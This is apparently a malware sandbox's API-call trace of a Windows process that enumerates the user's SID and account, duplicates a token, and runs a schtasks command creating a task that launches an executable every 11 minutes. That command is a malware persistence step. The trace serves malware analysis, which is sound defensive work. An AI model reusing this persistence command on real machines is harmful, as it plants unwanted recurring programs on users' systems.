0x126d68 [0126.035] memcpy (in: _Dst=0x126d74, _Src=0x126f78, _Size=0x6 | out: _Dst=0x126d74) returned 0x126d74 [0126.035] free (_Block=0x2aefc0) [0126.035] free (_Block=0x2af0c0) [0126.035] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0126.035] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0126.035] malloc (_Size=0x18) returned 0x2af0c0 [0126.035] malloc (_Size=0x18) returned 0x2aefc0 [0126.035] SysStringLen (param_1="S-1-5-21") returned 0x8 [0126.035] SysStringLen (param_1="-") returned 0x1 [0126.035] memcpy (in: _Dst=0x126f78, _Src=0x126d68, _Size=0x12 | out: _Dst=0x126f78) returned 0x126f78 [0126.035] memcpy (in: _Dst=0x126f88, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x126f88) returned 0x126f88 [0126.035] free (_Block=0x2aef80) [0126.035] free (_Block=0x2af0c0) [0126.035] malloc (_Size=0x18) returned 0x2af0c0 [0126.035] malloc (_Size=0x18) returned 0x2aef80 [0126.035] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0126.035] SysStringLen (param_1="4219442223") returned 0xa [0126.035] memcpy (in: _Dst=0x1179f8, _Src=0x126f78, _Size=0x14 | out: _Dst=0x1179f8) returned 0x1179f8 [0126.035] memcpy (in: _Dst=0x117a0a, _Src=0x126d68, _Size=0x16 | out: _Dst=0x117a0a) returned 0x117a0a [0126.035] free (_Block=0x2aefc0) [0126.036] free (_Block=0x2af0c0) [0126.036] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0126.036] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0126.036] malloc (_Size=0x18) returned 0x2af0c0 [0126.036] malloc (_Size=0x18) returned 0x2aefc0 [0126.036] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0126.036] SysStringLen (param_1="-") returned 0x1 [0126.036] memcpy (in: _Dst=0x117a48, _Src=0x1179f8, _Size=0x28 | out: _Dst=0x117a48) returned 0x117a48 [0126.036] memcpy (in: _Dst=0x117a6e, _Src=0x126f78, _Size=0x4 | out: _Dst=0x117a6e) returned 0x117a6e [0126.036] free (_Block=0x2aef80) [0126.036] free (_Block=0x2af0c0) [0126.036] malloc (_Size=0x18) returned 0x2af0c0 [0126.036] malloc (_Size=0x18) returned 0x2aef80 [0126.036] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0126.036] SysStringLen (param_1="4223814209") returned 0xa [0126.036] memcpy (in: _Dst=0x12d808, _Src=0x117a48, _Size=0x2a | out: _Dst=0x12d808) returned 0x12d808 [0126.036] memcpy (in: _Dst=0x12d830, _Src=0x126f78, _Size=0x16 | out: _Dst=0x12d830) returned 0x12d830 [0126.036] free (_Block=0x2aefc0) [0126.036] free (_Block=0x2af0c0) [0126.036] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0126.036] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0126.037] malloc (_Size=0x18) returned 0x2af0c0 [0126.037] malloc (_Size=0x18) returned 0x2aefc0 [0126.037] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0126.037] SysStringLen (param_1="-") returned 0x1 [0126.037] memcpy (in: _Dst=0x12d6f8, _Src=0x12d808, _Size=0x3e | out: _Dst=0x12d6f8) returned 0x12d6f8 [0126.037] memcpy (in: _Dst=0x12d734, _Src=0x126f78, _Size=0x4 | out: _Dst=0x12d734) returned 0x12d734 [0126.037] free (_Block=0x2aef80) [0126.037] free (_Block=0x2af0c0) [0126.037] malloc (_Size=0x18) returned 0x2af0c0 [0126.037] malloc (_Size=0x18) returned 0x2aef80 [0126.037] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0126.037] SysStringLen (param_1="3835049652") returned 0xa [0126.037] memcpy (in: _Dst=0x12d808, _Src=0x12d6f8, _Size=0x40 | out: _Dst=0x12d808) returned 0x12d808 [0126.037] memcpy (in: _Dst=0x12d846, _Src=0x126f78, _Size=0x16 | out: _Dst=0x12d846) returned 0x12d846 [0126.037] free (_Block=0x2aefc0) [0126.037] free (_Block=0x2af0c0) [0126.037] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0126.037] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0126.037] malloc (_Size=0x18) returned 0x2af0c0 [0126.037] malloc (_Size=0x18) returned 0x2aefc0 [0126.037] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0126.037] SysStringLen (param_1="-") returned 0x1 [0126.037] memcpy (in: _Dst=0x12d6f8, _Src=0x12d808, _Size=0x54 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0126.037] memcpy (in: _Dst=0x12d74a, _Src=0x126f78, _Size=0x4 | out: _Dst=0x12d74a) returned 0x12d74a [0126.037] free (_Block=0x2aef80) [0126.038] free (_Block=0x2af0c0) [0126.038] malloc (_Size=0x18) returned 0x2af0c0 [0126.038] malloc (_Size=0x18) returned 0x2aef80 [0126.038] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0126.038] SysStringLen (param_1="1000") returned 0x4 [0126.038] memcpy (in: _Dst=0x12d808, _Src=0x12d6f8, _Size=0x56 | out: _Dst=0x12d808) returned 0x12d808 [0126.038] memcpy (in: _Dst=0x12d85c, _Src=0x126f78, _Size=0xa | out: _Dst=0x12d85c) returned 0x12d85c [0126.038] free (_Block=0x2aefc0) [0126.038] free (_Block=0x2af0c0) [0126.038] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0126.038] malloc (_Size=0x5e) returned 0x2b08a0 [0126.038] free (_Block=0x2aef80) [0126.038] malloc (_Size=0x18) returned 0x2aef80 [0126.038] free (_Block=0x2b08a0) [0126.038] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0126.040] GetLastError () returned 0x7a [0126.040] malloc (_Size=0x14) returned 0x2af0c0 [0126.040] malloc (_Size=0x16) returned 0x2aefc0 [0126.040] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0c0, cchName=0xe7ca94, ReferencedDomainName=0x2aefc0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0126.041] malloc (_Size=0x18) returned 0x2af040 [0126.041] malloc (_Size=0x18) returned 0x2aefa0 [0126.041] free (_Block=0x2af0c0) [0126.041] free (_Block=0x2aefc0) [0126.041] free (_Block=0x2b0000) [0126.041] free (_Block=0x2aefa0) [0126.041] free (_Block=0x2af040) [0126.041] free (_Block=0x2aef80) [0126.041] free (_Block=0x2ae2e0) [0126.042] malloc (_Size=0x48) returned 0x2ad3b0 [0126.042] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0126.052] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0126.052] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0126.052] malloc (_Size=0x18) returned 0x2aef80 [0126.052] CreateEnvironmentBlock () returned 0x1 [0126.063] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0126.063] malloc (_Size=0x18) returned 0x2af040 [0126.063] CreateProcessAsUserW (in: hToken=0x2dc, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"whatever_onlyw\" /sc MINUTE /mo 11 /tr \"'C:\\comproviderRuntimecommon\\whatever_only.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x15b300, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"whatever_onlyw\" /sc MINUTE /mo 11 /tr \"'C:\\comproviderRuntimecommon\\whatever_only.exe'\" /f", lpProcessInformation=0xe7cba0*(hProcess=0x248, hThread=0x24c, dwProcessId=0xea4, dwThreadId=0xea8)) returned 1 [0126.077] CloseHandle (hObject=0x248) returned 1 [0126.077] CloseHandle (hObject=0x24c) returned 1 [0126.077] free (_Block=0x2af040) [0126.077] DestroyEnvironmentBlock () returned 0x1 [0126.077] malloc (_Size=0x48) returned 0x2ad270 [0126.077] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1ac53ce0, dwHighDateTime=0x1d8a92a)) [0126.077] malloc (_Size=0x10) returned 0x2af040 [0126.077] SetEvent (hEvent=0x1f0) returned 1 [0126.078] CloseHandle (hObject=0x2d0) returned 1 [0126.078] CloseHandle (hObject=0x2dc) returned 1 [0126.129] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0126.129] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0126.129] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0126.719] SetLastError (dwErrCode=0x0) [0126.719] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0126.719] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0126.719] SetLastError (dwErrCode=0x0) [0126.719] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0126.719] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0126.720] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0126.720] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f3e0 [0126.720] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f3e0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0126.720] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f3e0 | out: hHeap=0xc0000) returned 1 [0126.722] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0126.722] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0126.722] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0126.722] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0126.723] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0126.723] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0126.723] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0126.725] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0126.725] GetCurrentThread () returned 0xfffffffffffffffe [0126.725] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2dc) returned 1 [0126.725] SetEvent (hEvent=0x1f0) returned 1 [0126.726] free (_Block=0x2ad220) [0126.726] DuplicateTokenEx (in: hExistingToken=0x2dc, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2d0) returned 1 [0126.730] malloc (_Size=0x48) returned 0x2ad220 [0126.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1af4d860, dwHighDateTime=0x1d8a92a)) [0126.730] SetEvent (hEvent=0x1f0) returned 1 [0126.731] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0126.731] GetLastError () returned 0x7a [0126.731] malloc (_Size=0x2c) returned 0x2ae2a0 [0126.731] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0126.731] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0126.731] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0126.731] malloc (_Size=0x1c) returned 0x2affd0 [0126.731] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0126.731] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0126.731] malloc (_Size=0x18) returned 0x2aefa0 [0126.731] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0126.731] malloc (_Size=0x18) returned 0x2aefc0 [0126.731] malloc (_Size=0x18) returned 0x2af0c0 [0126.731] SysStringLen (param_1="S-1-") returned 0x4 [0126.731] SysStringLen (param_1="5") returned 0x1 [0126.731] memcpy (in: _Dst=0x1619a8, _Src=0x126f48, _Size=0xa | out: _Dst=0x1619a8) returned 0x1619a8 [0126.731] memcpy (in: _Dst=0x1619b0, _Src=0x1196b8, _Size=0x4 | out: _Dst=0x1619b0) returned 0x1619b0 [0126.732] free (_Block=0x2aefa0) [0126.732] free (_Block=0x2aefc0) [0126.732] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0126.732] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0126.732] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0126.732] malloc (_Size=0x18) returned 0x2aefc0 [0126.732] malloc (_Size=0x18) returned 0x2aefa0 [0126.732] SysStringLen (param_1="S-1-5") returned 0x5 [0126.732] SysStringLen (param_1="-") returned 0x1 [0126.732] memcpy (in: _Dst=0x1196b8, _Src=0x1619a8, _Size=0xc | out: _Dst=0x1196b8) returned 0x1196b8 [0126.732] memcpy (in: _Dst=0x1196c2, _Src=0x126f48, _Size=0x4 | out: _Dst=0x1196c2) returned 0x1196c2 [0126.732] free (_Block=0x2af0c0) [0126.732] free (_Block=0x2aefc0) [0126.732] malloc (_Size=0x18) returned 0x2aefc0 [0126.732] malloc (_Size=0x18) returned 0x2af0c0 [0126.732] SysStringLen (param_1="S-1-5-") returned 0x6 [0126.732] SysStringLen (param_1="21") returned 0x2 [0126.732] memcpy (in: _Dst=0x126f48, _Src=0x1196b8, _Size=0xe | out: _Dst=0x126f48) returned 0x126f48 [0126.732] memcpy (in: _Dst=0x126f54, _Src=0x1619a8, _Size=0x6 | out: _Dst=0x126f54) returned 0x126f54 [0126.732] free (_Block=0x2aefa0) [0126.732] free (_Block=0x2aefc0) [0126.733] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0126.733] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0126.733] malloc (_Size=0x18) returned 0x2aefc0 [0126.733] malloc (_Size=0x18) returned 0x2aefa0 [0126.733] SysStringLen (param_1="S-1-5-21") returned 0x8 [0126.733] SysStringLen (param_1="-") returned 0x1 [0126.733] memcpy (in: _Dst=0x1619a8, _Src=0x126f48, _Size=0x12 | out: _Dst=0x1619a8) returned 0x1619a8 [0126.733] memcpy (in: _Dst=0x1619b8, _Src=0x1196b8, _Size=0x4 | out: _Dst=0x1619b8) returned 0x1619b8 [0126.733] free (_Block=0x2af0c0) [0126.733] free (_Block=0x2aefc0) [0126.733] malloc (_Size=0x18) returned 0x2aefc0 [0126.733] malloc (_Size=0x18) returned 0x2af0c0 [0126.733] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0126.733] SysStringLen (param_1="4219442223") returned 0xa [0126.733] memcpy (in: _Dst=0x1175e8, _Src=0x1619a8, _Size=0x14 | out: _Dst=0x1175e8) returned 0x1175e8 [0126.733] memcpy (in: _Dst=0x1175fa, _Src=0x126f48, _Size=0x16 | out: _Dst=0x1175fa) returned 0x1175fa [0126.733] free (_Block=0x2aefa0) [0126.733] free (_Block=0x2aefc0) [0126.733] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0126.733] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0126.733] malloc (_Size=0x18) returned 0x2aefc0 [0126.733] malloc (_Size=0x18) returned 0x2aefa0 [0126.734] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0126.734] SysStringLen (param_1="-") returned 0x1 [0126.734] memcpy (in: _Dst=0x118268, _Src=0x1175e8, _Size=0x28 | out: _Dst=0x118268) returned 0x118268 [0126.734] memcpy (in: _Dst=0x11828e, _Src=0x1619a8, _Size=0x4 | out: _Dst=0x11828e) returned 0x11828e [0126.734] free (_Block=0x2af0c0) [0126.734] free (_Block=0x2aefc0) [0126.734] malloc (_Size=0x18) returned 0x2aefc0 [0126.734] malloc (_Size=0x18) returned 0x2af0c0 [0126.734] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0126.734] SysStringLen (param_1="4223814209") returned 0xa [0126.734] memcpy (in: _Dst=0x12d918, _Src=0x118268, _Size=0x2a | out: _Dst=0x12d918) returned 0x12d918 [0126.734] memcpy (in: _Dst=0x12d940, _Src=0x1619a8, _Size=0x16 | out: _Dst=0x12d940) returned 0x12d940 [0126.734] free (_Block=0x2aefa0) [0126.734] free (_Block=0x2aefc0) [0126.734] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0126.734] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0126.734] malloc (_Size=0x18) returned 0x2aefc0 [0126.734] malloc (_Size=0x18) returned 0x2aefa0 [0126.734] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0126.734] SysStringLen (param_1="-") returned 0x1 [0126.734] memcpy (in: _Dst=0x12da28, _Src=0x12d918, _Size=0x3e | out: _Dst=0x12da28) returned 0x12da28 [0126.734] memcpy (in: _Dst=0x12da64, _Src=0x1619a8, _Size=0x4 | out: _Dst=0x12da64) returned 0x12da64 [0126.735] free (_Block=0x2af0c0) [0126.735] free (_Block=0x2aefc0) [0126.735] malloc (_Size=0x18) returned 0x2aefc0 [0126.735] malloc (_Size=0x18) returned 0x2af0c0 [0126.735] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0126.735] SysStringLen (param_1="3835049652") returned 0xa [0126.735] memcpy (in: _Dst=0x12d918, _Src=0x12da28, _Size=0x40 | out: _Dst=0x12d918) returned 0x12d918 [0126.735] memcpy (in: _Dst=0x12d956, _Src=0x1619a8, _Size=0x16 | out: _Dst=0x12d956) returned 0x12d956 [0126.735] free (_Block=0x2aefa0) [0126.735] free (_Block=0x2aefc0) [0126.735] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0126.735] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0126.735] malloc (_Size=0x18) returned 0x2aefc0 [0126.735] malloc (_Size=0x18) returned 0x2aefa0 [0126.735] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0126.735] SysStringLen (param_1="-") returned 0x1 [0126.735] memcpy (in: _Dst=0x12da28, _Src=0x12d918, _Size=0x54 | out: _Dst=0x12da28) returned 0x12da28 [0126.735] memcpy (in: _Dst=0x12da7a, _Src=0x1619a8, _Size=0x4 | out: _Dst=0x12da7a) returned 0x12da7a [0126.735] free (_Block=0x2af0c0) [0126.735] free (_Block=0x2aefc0) [0126.735] malloc (_Size=0x18) returned 0x2aefc0 [0126.736] malloc (_Size=0x18) returned 0x2af0c0 [0126.736] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0126.736] SysStringLen (param_1="1000") returned 0x4 [0126.736] memcpy (in: _Dst=0x12d918, _Src=0x12da28, _Size=0x56 | out: _Dst=0x12d918) returned 0x12d918 [0126.736] memcpy (in: _Dst=0x12d96c, _Src=0x1619a8, _Size=0xa | out: _Dst=0x12d96c) returned 0x12d96c [0126.736] free (_Block=0x2aefa0) [0126.736] free (_Block=0x2aefc0) [0126.736] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0126.736] malloc (_Size=0x5e) returned 0x2b08a0 [0126.736] free (_Block=0x2af0c0) [0126.736] malloc (_Size=0x18) returned 0x2af0c0 [0126.737] free (_Block=0x2b08a0) [0126.737] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0126.738] GetLastError () returned 0x7a [0126.738] malloc (_Size=0x14) returned 0x2aefc0 [0126.738] malloc (_Size=0x16) returned 0x2aefa0 [0126.738] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefc0, cchName=0xe7ca84, ReferencedDomainName=0x2aefa0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0126.739] malloc (_Size=0x18) returned 0x2af000 [0126.739] malloc (_Size=0x18) returned 0x2af120 [0126.739] free (_Block=0x2aefc0) [0126.739] free (_Block=0x2aefa0) [0126.740] free (_Block=0x2affd0) [0126.740] free (_Block=0x2af120) [0126.740] free (_Block=0x2af000) [0126.740] free (_Block=0x2af0c0) [0126.740] free (_Block=0x2ae2a0) [0126.741] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0126.741] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0126.741] GetLastError () returned 0x7a [0126.741] malloc (_Size=0x2c) returned 0x2ae2e0 [0126.741] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: 